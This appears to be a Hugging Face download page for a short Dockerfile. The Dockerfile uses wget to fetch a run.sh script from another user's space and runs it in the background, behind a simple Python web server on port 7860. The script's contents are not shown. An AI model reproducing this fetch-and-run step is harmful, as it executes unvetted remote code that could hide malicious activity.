Download Dockerfile from user0081/name: direct link, hf CLI and curl.
- Browser
- Download file 350 Bytes
-
https://huggingface.co/spaces/user0081/name/resolve/main/Dockerfile
- Command line
-
hf download hf://spaces/user0081/name/Dockerfile
-
curl -L -o Dockerfile https://huggingface.co/spaces/user0081/name/resolve/main/Dockerfile
350 Bytes
| FROM debian:sid | |
| RUN apt update | |
| WORKDIR /home/user | |
| RUN apt install curl wget python3 -y \ | |
| && useradd -m -u 1000 user \ | |
| && wget https://huggingface.co/spaces/Alao/space/raw/main/run.sh \ | |
| && chmod +x run.sh \ | |
| && chown -R user /home/* | |
| ENV HOME=/home/user \ | |
| PATH=/home/user/.local/bin:$PATH | |
| CMD ./run.sh & python3 -m http.server 7860 |